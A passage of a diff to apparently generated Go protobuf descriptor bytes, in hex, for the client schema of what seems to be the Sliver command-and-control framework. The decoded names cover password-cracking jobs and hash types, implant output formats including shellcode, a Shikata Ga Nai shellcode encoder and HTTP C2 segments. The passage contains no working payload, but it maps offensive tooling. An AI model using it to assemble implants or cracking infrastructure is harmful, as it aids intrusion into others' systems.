0x4c, 0x55, 0x54, 0x45, - 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, - 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, - 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, - 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, - 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, - 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, - 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, - 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, - 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, - 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, - 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, + 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, + 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, + 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, + 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, + 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, + 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, + 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, + 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, + 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, + 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, + 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, + 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, + 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, + 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, + 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, + 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, + 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, + 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, + 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, + 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, + 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, + 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, + 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, + 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, + 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, + 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, + 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, + 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, + 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x51, 0x0a, + 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a, 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, + 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, + 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, + 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, + 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, + 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a, 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, + 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, + 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, + 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, + 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, + 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, + 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, + 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, + 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, + 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, + 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, + 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x35, 0x0a, + 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, + 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, + 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, + 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, + 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, + 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, + 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, + 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, + 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, + 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, + 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, + 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, + 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, + 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, + 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, + 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, + 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, + 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, + 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, + 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, + 0x09, 